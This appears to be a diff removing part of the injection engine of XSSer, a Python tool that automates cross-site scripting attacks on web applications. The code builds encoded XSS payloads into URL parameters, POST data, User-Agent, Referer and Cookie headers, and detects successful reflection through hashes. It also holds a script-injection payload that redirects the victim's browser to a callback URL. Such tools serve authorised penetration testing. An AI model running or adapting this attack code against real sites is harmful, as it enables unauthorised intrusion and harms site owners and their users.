- hashed_vector_url = self.encoding_permutations(hashed_payload)
- # replace special payload string also for extra attacks
- if self.extra_hashed_injections:
- hashed_payload = hashed_payload.replace('XSS', 'PAYLOAD')
- for k, v in self.extra_hashed_injections.iteritems():
- if v[1] in hashed_payload:
- self.extra_hashed_vector_url[k] = v[0], hashed_payload
- self.extra_hashed_injections = self.extra_hashed_vector_url
- if not options.getdata: # using GET as a single input (-u)
- target_url = url
- else:
- if not url.endswith("/") and not options.getdata.startswith("/"):
- url = url + "/"
- target_url = url + options.getdata
- p_uri = urlparse(target_url)
- uri = p_uri.netloc
- path = p_uri.path
- if not uri.endswith('/') and not path.startswith('/'):
- uri = uri + "/"
- if self.options.target or self.options.crawling: # for audit entire target allows target without 'XSS/X1S' keyword
- if not "XSS" in target_url:
- if not target_url.endswith("/"):
- target_url = target_url + "/XSS"
- else:
- target_url = target_url + "XSS"
- target_params = parse_qs(urlparse(target_url).query, keep_blank_values=True)
- if self.options.script:
- if not 'XSS' in self.options.script and not self.options.crawling: # 'XSS' keyword used to change PAYLOAD at target_params
- self.not_keyword_exit()
- if not target_params and not options.postdata:
- if not self.options.xsa and not self.options.xsr and not self.options.coo: # extra attacks payloads
- if not 'XSS' in target_url and not 'X1S' in target_url and not self.options.crawling: # not any payloader found!
- self.not_keyword_exit()
- else: # keyword found at target url (ex: https://target.com/XSS)
- if 'XSS' in target_url:
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- elif 'X1S' in target_url:
- url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
- hashed_payload = payload_string.replace('XSS', url_orig_hash)
- if "[B64]" in hashed_payload: # [DCP Injection]
- dcp_payload = hashed_payload.split("[B64]")[1]
- dcp_preload = hashed_payload.split("[B64]")[0]
- dcp_payload = b64encode(dcp_payload)
- hashed_payload = dcp_preload + dcp_payload
- self.hashed_injections[url_orig_hash] = target_url
- if user_attack_payload:
- pass
- else:
- hashed_vector_url = self.encoding_permutations(hashed_payload)
- target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
- target_url_params = urllib.urlencode(target_params)
- if not uri.endswith('/') and not path.startswith('/'):
- uri = uri + "/"
- dest_url = p_uri.scheme + "://" + uri + path
- if not "XSS" in dest_url:
- if not dest_url.endswith("/"):
- dest_url = dest_url + "/" + hashed_vector_url
- else:
- dest_url = dest_url + hashed_vector_url
- else:
- if 'XSS' in dest_url:
- dest_url = dest_url.replace('XSS', hashed_vector_url)
- if 'X1S' in dest_url:
- dest_url = dest_url.replace('X1S', hashed_vector_url)
- else:
- if 'XSS' in target_url:
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- elif 'X1S' in target_url:
- url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
- hashed_payload = payload_string.replace('XSS', url_orig_hash)
- if "[B64]" in hashed_payload: # [DCP Injection]
- dcp_payload = hashed_payload.split("[B64]")[1]
- dcp_preload = hashed_payload.split("[B64]")[0]
- dcp_payload = b64encode(dcp_payload)
- hashed_payload = dcp_preload + dcp_payload
- self.hashed_injections[url_orig_hash] = target_url
- if user_attack_payload:
- pass
- else:
- hashed_vector_url = self.encoding_permutations(hashed_payload)
- target_params[''] = hashed_vector_url # special target_param when XSS only at target_url
- target_url_params = urllib.urlencode(target_params)
- if not uri.endswith('/') and not path.startswith('/'):
- uri = uri + "/"
- dest_url = p_uri.scheme + "://" + uri + path
- if 'XSS' in dest_url:
- dest_url = dest_url.replace('XSS', hashed_vector_url)
- if 'X1S' in dest_url:
- dest_url = dest_url.replace('X1S', hashed_vector_url)
- dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- else:
- if not options.postdata:
- r = 0
- for key, value in target_params.iteritems(): # parse params searching for keywords
- for v in value:
- if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
- if v == 'XSS':
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- elif v == 'X1S':
- url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
- hashed_payload = payload_string.replace('XSS', url_orig_hash)
- if "[B64]" in hashed_payload: # [DCP Injection]
- dcp_payload = hashed_payload.split("[B64]")[1]
- dcp_preload = hashed_payload.split("[B64]")[0]
- dcp_payload = b64encode(dcp_payload)
- hashed_payload = dcp_preload + dcp_payload
- self.hashed_injections[url_orig_hash] = key
- if user_attack_payload:
- pass
- else:
- hashed_vector_url = self.encoding_permutations(hashed_payload)
- target_params[key] = hashed_vector_url
- r = r + 1
- else:
- if self.options.xsa or self.options.xsr or self.options.coo:
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- self.hashed_injections[url_orig_hash] = key
- target_params[key] = v
- r = r + 1
- else:
- target_params[key] = v
- if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
- self.not_keyword_exit()
- payload_url = query_string.strip() + hashed_vector_url
- target_url_params = urllib.urlencode(target_params)
- dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
- else: # using POST provided by parameter (-p)
- target_params = parse_qs(query_string, keep_blank_values=True)
- r = 0
- for key, value in target_params.iteritems(): # parse params searching for keywords
- for v in value:
- if v == 'XSS' or v == 'X1S': # user input keywords where inject a payload
- if v == 'XSS':
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- elif v == 'X1S':
- url_orig_hash = self.generate_numeric_hash() # new hash for each parameter with an injection
- hashed_payload = payload_string.replace('XSS', url_orig_hash)
- if "[B64]" in hashed_payload: # [DCP Injection]
- dcp_payload = hashed_payload.split("[B64]")[1]
- dcp_preload = hashed_payload.split("[B64]")[0]
- dcp_payload = b64encode(dcp_payload)
- hashed_payload = dcp_preload + dcp_payload
- self.hashed_injections[url_orig_hash] = key
- if user_attack_payload:
- pass
- else:
- hashed_vector_url = self.encoding_permutations(hashed_payload)
- target_params[key] = hashed_vector_url
- r = r + 1
- else:
- if self.options.xsa or self.options.xsr or self.options.coo:
- url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
- self.hashed_injections[url_orig_hash] = key
- target_params[key] = v
- r = r + 1
- else:
- target_params[key] = v
- if r == 0 and not self.options.xsa and not self.options.xsr and not self.options.coo and not self.options.crawling:
- self.not_keyword_exit()
- target_url_params = urllib.urlencode(target_params)
- dest_url = target_url_params
- self._ongoing_attacks['url'] = url_orig_hash
- return dest_url, agent, referer, cookie
- def attack_url_payload(self, url, payload, query_string):
- if not self.pool:
- pool = self.mothership.pool
- else:
- pool = self.pool
- c = Curl()
- if self.options.getdata or not self.options.postdata:
- dest_url, agent, referer, cookie = self.get_url_payload(url, payload, query_string, None)
- def _cb(request, result):
- self.finish_attack_url_payload(c, request, result, payload,
- query_string, url, dest_url)
- _error_cb = self.error_attack_url_payload
- def _error_cb(request, error):
- self.error_attack_url_payload(c, url, request, error)
- c.agent = agent
- c.referer = referer
- c.cookie = cookie
- if " " in dest_url: # parse blank spaces
- dest_url = dest_url.replace(" ", "+")
- pool.addRequest(c.get, [[dest_url]], _cb, _error_cb)
- self._ongoing_requests += 1
- if self.options.postdata:
- dest_url, agent, referer, cookie = self.get_url_payload("", payload, query_string, None)
- def _cb(request, result):
- self.finish_attack_url_payload(c, request, result, payload,
- query_string, url, dest_url)
- _error_cb = self.error_attack_url_payload
- def _error_cb(request, error):
- self.error_attack_url_payload(c, url, request, error)
- dest_url = dest_url.strip().replace("/", "", 1)
- c.agent = agent
- c.referer = referer
- c.cookie = cookie
- pool.addRequest(c.post, [[url, dest_url]], _cb, _error_cb)
- self._ongoing_requests += 1
- def error_attack_url_payload(self, c, url, request, error):
- self._ongoing_requests -= 1
- for reporter in self._reporters:
- reporter.mosquito_crashed(url, str(error[0]))
- dest_url = request.args[0]
- self.report("Failed attempt (URL Malformed!?): " + url + "\n")
- self.urlmalformed = True
- if self.urlmalformed == True and self.urlspoll[0] == url:
- self.land()
- self.report(str(error[0]))
- if self.options.verbose:
- traceback.print_tb(error[2])
- c.close()
- del c
- return
- def finish_attack_url_payload(self, c, request, result, payload,
- query_string, url, dest_url):
- self.round_complete = self.round_complete + 1
- self.report("="*75)
- self.report("[*] Test: [ "+str(self.round_complete)+"/"+str(self.rounds)+" ] <-> "+str(self.time))
- self.report("="*75)
- self.report("\n[+] Target: \n\n [ "+ str(url) + " ]\n")
- self._ongoing_requests -= 1
- # adding constant head check number flag
- if self.options.isalive:
- self.flag_isalive_num = int(self.options.isalive)
- if self.options.isalive <= 0:
- pass
- elif self.options.isalive and not self.options.nohead:
- self.errors_isalive = self.errors_isalive + 1
- if self.errors_isalive > self.options.isalive:
- pass
- else:
- self.report("---------------------")
- self.report("Alive Checker for: " + url + " - [", self.errors_isalive, "/", self.options.isalive, "]\n")
- if self.next_isalive == True:
- hc = Curl()
- self.next_isalive = False
- try:
- urls = hc.do_head_check([url])
- except:
- print "[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n"
- self.errors_isalive = 0
- return
- if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
- print "HEAD alive check: OK" + "(" + hc.info()["http-code"] + ")\n"
- print "- Your target still Alive: " + "(" + url + ")"
- print "- If you are receiving continuous 404 errors requests on your injections but your target is alive is because:\n"
- print " - your injections are failing: normal :-)"
- print " - maybe exists some IPS/NIDS/... systems blocking your requests!\n"
- else:
- if str(hc.info()["http-code"]) == "0":
- print "\n[Error] Target url: (" + url + ") is unaccesible!" + " [DISCARDED]" + "\n"
- else:
- print "HEAD alive check: FAILED" + "(" + hc.info()["http-code"] + ")\n"
- print "- Your target " + "(" + url + ")" + " looks that is NOT alive"
- print "- If you are receiving continuous 404 errors requests on payloads\n and this HEAD pre-check request is giving you another 404\n maybe is because; target is down, url malformed, something is blocking you...\n- If you haven't more than one target then try to; STOP THIS TEST!!\n"
- self.errors_isalive = 0
- else:
- if str(self.errors_isalive) >= str(self.options.isalive):
- self.report("---------------------")
- self.report("\nAlive System: XSSer is checking if your target still alive. [Waiting for reply...]\n")
- self.next_isalive = True
- self.options.isalive = self.flag_isalive_num
- else:
- if self.options.isalive and self.options.nohead:
- self.report("---------------------")
- self.report("Alive System DISABLED!: XSSer is using a pre-check HEAD request per target by default to perform better accurance on tests\nIt will check if target is alive before inject all the payloads. try (--no-head) with (--alive <num>) to control this checker limit manually")
- self.report("---------------------")
- # check results an alternative url, choosing method and parameters, or not
- if self.options.altm == None or self.options.altm not in ["GET", "POST", "post"]:
- self.options.altm = "GET"
- if self.options.altm == "post":
- self.options.altm = "POST"
- if self.options.alt == None:
- pass
- else:
- self.report("="*45)
- self.report("[+] Checking Response Options:", "\n")
- self.report("[+] Url:", self.options.alt)
- self.report("[-] Method:", self.options.altm)
- if self.options.ald:
- self.report("[-] Parameter(s):", self.options.ald, "\n")
- else:
- self.report("[-] Parameter(s):", query_string, "\n")
- if c.info()["http-code"] in ["200", "302", "301"]:
- if self.options.statistics:
- self.success_connection = self.success_connection + 1
- self._report_attack_success(c, dest_url, payload,
- query_string, url)
- else:
- self._report_attack_failure(c, dest_url, payload,
- query_string, url)
- # checking response results
- if self.options.alt == None:
- pass
- else:
- self.report("="*45)
- self.report("[+] Checking Response Results:", "\n")
- self.report("Searching using", self.options.altm, "for:", orig_hash, "on alternative url")
- if 'PAYLOAD' in payload['payload']:
- user_attack_payload = payload['payload'].replace('PAYLOAD', orig_hash)
- if self.options.ald:
- query_string = self.options.ald
- if "VECTOR" in self.options.alt:
- dest_url = self.options.alt
- else:
- if not dest_url.endswith("/"):
- dest_url = dest_url + "/"
- if self.options.altm == 'POST':
- dest_url = "" + query_string + user_attack_payload
- dest_url = dest_url.strip().replace("/", "", 1)
- data = c.post(url, dest_url)
- else:
- dest_url = self.options.alt + query_string + user_attack_payload
- c.get(dest_url)
- # perform check response injection
- if c.info()["http-code"] in ["200", "302", "301"]:
- if self.options.statistics:
- self.success_connection = self.success_connection + 1
- self._report_attack_success(c, dest_url, payload,
- query_string, url)
- else:
- self._report_attack_failure(c, dest_url, payload,
- query_string, url)
- c.close()
- del c
- def encoding_permutations(self, enpayload_url):
- """
- perform encoding permutations on the url and query_string.
- """
- options = self.options
- if options.Cem:
- enc_perm = options.Cem.split(",")
- for _enc in enc_perm:
- enpayload_url = self.encmap[_enc](enpayload_url)
- else:
- for enctype in self.encmap.keys():
- if getattr(options, enctype):
- enpayload_url = self.encmap[enctype](enpayload_url)
- return enpayload_url
- def _report_attack_success(self, curl_handle, dest_url, payload,\
- query_string, orig_url):
- """
- report connection success of an attack
- """
- if not orig_url in self.successful_urls:
- self.successful_urls.append(orig_url)
- options = self.options
- current_hashes = [] # to check for ongoing hashes
- if payload['browser'] == "[Heuristic test]":
- for key, value in self.hashed_injections.iteritems():
- if str(key) in dest_url:
- if key not in current_hashes:
- self.final_hashes[key] = value
- current_hashes.append(key)
- elif self.options.hash:
- for key, value in self.hashed_injections.iteritems():
- self.final_hashes[key] = value
- current_hashes.append(key)
- else:
- self.report("-"*45)
- self.report("\n[!] Hashing: \n")
- for key, value in self.hashed_injections.iteritems():
- if str(key) in dest_url:
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- current_hashes.append(key)
- else:
- if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
- b64_string = payload["payload"].split("[B64]")
- b64_string = b64_string[1]
- b64_string = b64_string.replace('PAYLOAD', key)
- b64_string = b64encode(b64_string)
- b64_string = urllib.urlencode({'':b64_string})
- if b64_string.startswith("="):
- b64_string = b64_string.replace("=", "")
- if str(b64_string) in str(dest_url):
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- current_hashes.append(key)
- else: # when using encoders (Str, Hex, Dec...)
- payload_string = payload["payload"].replace("PAYLOAD", key)
- hashed_payload = self.encoding_permutations(payload_string)
- if self.options.Cem:
- enc_perm = options.Cem.split(",")
- for e in enc_perm:
- hashed_payload = self.encoding_permutations(payload_string)
- if e == "Str":
- hashed_payload = hashed_payload.replace(",", "%2C")
- if e == "Mix":
- hashed_payload=urllib.quote(hashed_payload)
- if e == "Dec":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if e == "Hex":
- hashed_payload = hashed_payload.replace("%", "%25")
- if e == "Hes":
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- else:
- if self.options.Str:
- hashed_payload = hashed_payload.replace(",", "%2C")
- if self.options.Mix:
- hashed_payload=urllib.quote(hashed_payload)
- if self.options.Dec:
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- if self.options.Hex:
- hashed_payload = hashed_payload.replace("%", "%25")
- if self.options.Hes:
- hashed_payload = hashed_payload.replace("&#", "%26%23")
- hashed_payload = hashed_payload.replace(";", "%3B")
- if str(hashed_payload) in str(dest_url):
- if key not in current_hashes:
- self.report(" [ " +key+" ] : [" , value + " ]")
- self.final_hashes[key] = value
- if self.extra_hashed_injections:
- for k, v in self.extra_hashed_injections.iteritems():
- payload_url = str(v[1])
- if payload_url == payload["payload"]:
- if k not in current_hashes:
- self.report(" [ " +k+" ] : [" , v[0] + " ]")
- self.final_hashes[k] = v[0]
- current_hashes.append(k)
- self.report("\n"+"-"*45+"\n")
- if payload['browser'] == "[Heuristic test]":
- self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
- else:
- if self.extra_hashed_injections:
- extra_attacks=[]
- if options.xsa:
- extra_attacks.append("XSA")
- if options.xsr:
- extra_attacks.append("XSR")
- if options.coo:
- extra_attacks.append("COO")
- if extra_attacks:
- extra_attacks = "+ "+ str(extra_attacks)
- if options.postdata:
- self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
- else:
- self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
- else:
- if options.postdata:
- self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
- else:
- self.report("[*] Trying: \n\n" + dest_url.strip() + "\n")
- if not self.options.hash and not self.options.script:
- if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
- pass
- else:
- self.report("-"*45)
- if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
- pass
- else:
- if not "XSS" in dest_url or not "X1S" in dest_url:
- if self.options.xsa or self.options.xsr or self.options.coo:
- pass
- else:
- self.report("-"*45)
- self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
- if not self.options.verbose:
- self.report("-"*45 + "\n")
- else:
- self.report("-"*45)
- self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
- if not self.options.verbose:
- self.report("-"*45 + "\n")
- # statistics injections counters
- if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
- self.check_positives = self.check_positives + 1
- elif payload['browser']=="[Data Control Protocol Injection]":
- self.dcp_injection = self.dcp_injection + 1
- elif payload['browser']=="[Document Object Model Injection]":
- self.dom_injection = self.dom_injection + 1
- elif payload['browser']=="[Induced Injection]":
- self.httpsr_injection = self.httpsr_injection + 1
- elif payload['browser']=="[manual_injection]":
- self.manual_injection = self.manual_injection + 1
- else:
- self.auto_injection = self.auto_injection +1
- if not self.hashed_injections:
- for k, v in self.extra_hashed_injections.iteritems():
- if k in current_hashes:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- else:
- for key, value in self.hashed_injections.iteritems():
- for k, v in self.extra_hashed_injections.iteritems():
- payload_url = v[1]
- payload_url = payload_url.replace("PAYLOAD",key)
- payload_url = payload_url.replace(" ", "+") # black magic!
- final_dest_url = str(urllib.unquote(dest_url.strip()))
- if payload_url in final_dest_url:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- else:
- if k in current_hashes:
- if v[0] == "XSA":
- agent = v[1]
- agent = agent.replace("PAYLOAD", k)
- Curl.agent = agent
- if v[0] == "XSR":
- referer = v[1]
- referer = referer.replace("PAYLOAD", k)
- Curl.referer = referer
- if v[0] == "COO":
- cookie = v[1]
- cookie = cookie.replace("PAYLOAD", k)
- Curl.cookie = cookie
- if options.verbose:
- self.report("-"*45)
- self.report("\n[+] HTTP Headers Verbose:\n")
- self.report(" [Client Request]")
- Curl.print_options()
- self.report(" [Server Reply]\n")
- self.report(curl_handle.info())
- self.report("="*45)
- self.report("[*] Injection(s) Results:")
- self.report("="*45 + "\n")
- if payload['browser']=="[Heuristic test]":
- for key, value in self.final_hashes.iteritems():
- if str(key) in dest_url:
- heuristic_string = key
- heuristic_param = str(payload['payload']).strip('XSS')
- # checking heuristic responses
- if heuristic_string in curl_handle.body():
- # ascii
- if heuristic_param == "\\":
- self.heuris_backslash_found = self.heuris_backslash_found + 1
- # / same as ASCII and Unicode
- elif heuristic_param == "/":
- self.heuris_slash_found = self.heuris_slash_found + 1
- self.heuris_une_slash_found = self.heuris_une_slash_found + 1
- elif heuristic_param == ">":
- self.heuris_mayor_found = self.heuris_mayor_found + 1
- elif heuristic_param == "<":
- self.heuris_minor_found = self.heuris_minor_found + 1
- elif heuristic_param == ";":
- self.heuris_semicolon_found = self.heuris_semicolon_found + 1
- elif heuristic_param == "'":
- self.heuris_colon_found = self.heuris_colon_found + 1
- elif heuristic_param == '"':
- self.heuris_doublecolon_found = self.heuris_doublecolon_found + 1
- elif heuristic_param == "=":
- self.heuris_equal_found = self.heuris_equal_found + 1
- # une
- elif heuristic_param == "%5C":
- self.heuris_une_backslash_found = self.heuris_une_backslash_found + 1
- elif heuristic_param == "%3E":
- self.heuris_une_mayor_found = self.heuris_une_mayor_found + 1
- elif heuristic_param == "%3C":
- self.heuris_une_minor_found = self.heuris_une_minor_found + 1
- elif heuristic_param == "%3B":
- self.heuris_une_semicolon_found = self.heuris_une_semicolon_found + 1
- elif heuristic_param == "%27":
- self.heuris_une_colon_found = self.heuris_une_colon_found + 1
- elif heuristic_param == "%22":
- self.heuris_une_doublecolon_found = self.heuris_une_doublecolon_found + 1
- elif heuristic_param == "%3D":
- self.heuris_une_equal_found = self.heuris_une_equal_found + 1
- # dec
- elif heuristic_param == "\":
- self.heuris_dec_backslash_found = self.heuris_dec_backslash_found + 1
- elif heuristic_param == "/":
- self.heuris_dec_slash_found = self.heuris_dec_slash_found + 1
- elif heuristic_param == ">":
- self.heuris_dec_mayor_found = self.heuris_dec_mayor_found + 1
- elif heuristic_param == "<":
- self.heuris_dec_minor_found = self.heuris_dec_minor_found + 1
- elif heuristic_param == ";":
- self.heuris_dec_semicolon_found = self.heuris_dec_semicolon_found + 1
- elif heuristic_param == "'":
- self.heuris_dec_colon_found = self.heuris_dec_colon_found + 1
- elif heuristic_param == """:
- self.heuris_dec_doublecolon_found = self.heuris_dec_doublecolon_found + 1
- elif heuristic_param == "=":
- self.heuris_dec_equal_found = self.heuris_dec_equal_found + 1
- self.add_success(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # success!
- else:
- if heuristic_param == "\\":
- self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
- elif heuristic_param == "/":
- self.heuris_slash_notfound = self.heuris_slash_notfound + 1
- elif heuristic_param == ">":
- self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
- elif heuristic_param == "<":
- self.heuris_minor_notfound = self.heuris_minor_notfound + 1
- elif heuristic_param == ";":
- self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
- elif heuristic_param == "'":
- self.heuris_colon_notfound = self.heuris_colon_notfound + 1
- elif heuristic_param == '"':
- self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
- elif heuristic_param == "=":
- self.heuris_equal_notfound = self.heuris_equal_notfound + 1
- self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
- elif self.options.hash:
- for key, value in self.final_hashes.iteritems():
- if str(key) in dest_url:
- if key in curl_handle.body():
- self.add_success(dest_url, key, value, query_string, orig_url, 'hashing check') # success!
- else:
- self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
- else:
- for key, value in self.final_hashes.iteritems():
- if key in current_hashes:
- if "XSA" in value:
- method = "XSA"
- hashing = key
- elif "XSR" in value:
- method = "XSR"
- hashing = key
- elif "COO" in value:
- method = "COO"
- hashing = key
- else:
- method = value
- hashing = key
- if not hashing:
- pass
- else:
- if hashing not in dest_url:
- if key in current_hashes:
- if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
- b64_string = payload["payload"].split("[B64]")
- b64_string = b64_string[1]
- b64_string = b64_string.replace('PAYLOAD', key)
- b64_string = b64encode(b64_string)
- b64_string = urllib.urlencode({'':b64_string})
- if b64_string.startswith("="):
- b64_string = b64_string.replace("=", "")
- if str(b64_string) in str(dest_url):
- self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
- else:
- self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
- else:
- self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
- self.report("")
- def check_hash_on_target(self, hashing, dest_url, orig_url, payload, query_string, method, curl_handle):
- options = self.options
- c_info = str(curl_handle.info())
- c_body = str(curl_handle.body())
- if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
- b64_string = payload["payload"].split("[B64]")
- b64_string = b64_string[1]
- b64_string = b64_string.replace('PAYLOAD', hashing)
- b64_string = b64encode(b64_string)
- if b64_string.startswith("="):
- b64_string = b64_string.replace("=", "")
- hashing = b64_string
- if str(hashing) in c_body and "http-code: 200" in c_info: # only add a success if hashing is on body and we have HTTP 200-OK [XSS CHECKPOINT!]
- # some anti false positives checkers
- if str(options.discode) in curl_handle.body(): # provided by user
- self.report("[Info] Reply contains code [ --discode ] provided to be discarded... forcing failure!\n")
- self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
- else:
- if str('/>' + hashing) in curl_handle.body() or str('href=' + dest_url + hashing) in curl_handle.body() or str('content=' + dest_url + hashing) in curl_handle.body():
- self.report("[Info] Reply looks like a -false positive- from here. Check it, manually... forcing discard!\n")
- self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
- else:
- if options.discode:
- self.report("[Info] Reply does NOT contain code [ --discode ] provided to be discarded... adding! ;-)\n")
- self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
- else:
- self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
- def add_failure(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
- """
- Add an attack that failed to inject
- """
- if method == "heuristic":
- self.report(" [ NOT-FOUND ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
- self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
- elif method == "hashing check":
- self.report(" [ NOT-FOUND ] -> [ " + str(hashing) + " ] : [ hashing_check ]")
- self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
- else:
- self.report(" [ NOT-FOUND ] -> [ " + hashing + " ] : [ " + method + " ]")
- self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
-
- def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
- """
- Add an attack that managed to inject the code
- """
- if method == "heuristic":
- self.report(" [ FOUND! ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
- self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
- elif method == "hashing check":
- self.report(" [ FOUND! ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
- self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
- else:
- payload_sub = payload['payload']
- self.report(" [ FOUND! ] -> [ " + hashing + " ] : [ " + method + " ] -> [ " + payload_sub + " ]")
- self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
- for reporter in self._reporters:
- reporter.add_success(dest_url)
- if self.options.reversecheck:
- if self.options.dcp or self.options.inducedcode or self.options.dom:
- pass
- else:
- self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
- def do_token_check(self, orig_url, hashing, payload, query_string, dest_url):
- self.report("\n" + "="*50)
- self.report("\n[Info] Trying [ --reverse-check ] from:\n\n"+ orig_url + query_string)
- if "VECTOR" in orig_url:
- dest_url = orig_url
- else:
- if not dest_url.endswith("/"):
- dest_url = dest_url + "/"
- dest_url = orig_url + query_string + payload['payload']
- tok_url = None
- self_url = "http://localhost:19084/success/" + hashing
- shadow_js_inj = "document.location=document.location.hash.substring(1)"
- shadow_inj = "<script>" + shadow_js_inj + "</script>"
- shadow_js_inj = shadow_js_inj
- dest_url = dest_url.split("#")[0]
- def requote(what):
- return urllib.quote_plus(what)
- vector_and_payload = payload['payload']
- _e = self.encoding_permutations
- if 'XSS' in dest_url:
- dest_url = dest_url.replace('XSS', vector_and_payload)
- if 'X1S' in dest_url:
- dest_url = dest_url.replace('XSS', vector_and_payload)
- if 'VECTOR' in dest_url:
- dest_url = dest_url.replace('VECTOR', vector_and_payload)
- if '">PAYLOAD' in dest_url:
- tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
- tok_url += '#' + self_url
- elif "'>PAYLOAD" in dest_url:
- tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
- tok_url += '#' + self_url
- elif "javascript:PAYLOAD" in dest_url:
- tok_url = dest_url.replace('javascript:PAYLOAD',
- self.encoding_permutations("window.location='" + self_url+"';"))
- tok_url = dest_url.replace("javascript:PAYLOAD",
- _e("javascript:" + shadow_js_inj))
- tok_url+= '#' + self_url
- elif '"PAYLOAD"' in dest_url:
- tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
- elif "'PAYLOAD'" in dest_url:
- tok_url = dest_url.replace("'PAYLOAD'", "'" + self_url + "'")
- elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
- tok_url = dest_url.replace('PAYLOAD', self_url)
- elif "SCRIPT" in dest_url:
- tok_url = dest_url.replace('PAYLOAD',
- shadow_js_inj)
- tok_url += '#' + self_url
- elif 'onerror="PAYLOAD"' in dest_url:
- tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
- tok_url+= '#' + self_url
- elif 'onerror="javascript:PAYLOAD"' in dest_url:
- tok_url = dest_url.replace('javascript:PAYLOAD',
- self.encoding_permutations("window.location='" + self_url+"';"))
- tok_url = dest_url.replace('onerror="javascript:PAYLOAD"',
- _e('onerror="javascript:' + shadow_js_inj + '"'))
- tok_url+= '#' + self_url
- elif '<PAYLOAD>' in dest_url:
- tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
- tok_url+= '#' + self_url
- elif 'PAYLOAD' in dest_url:
- tok_url = dest_url.replace("PAYLOAD", _e(shadow_inj))
- tok_url+= '#' + self_url
- elif 'href' in dest_url and 'PAYLOAD' in dest_url:
- tok_url = dest_url.replace('PAYLOAD', self_url)
- elif 'HREF' in dest_url and 'PAYLOAD' in dest_url:
- tok_url = dest_url.replace('PAYLOAD', self_url)
- elif 'url' in dest_url and 'PAYLOAD' in dest_url:
- tok_url = dest_url.replace('PAYLOAD', self_url)
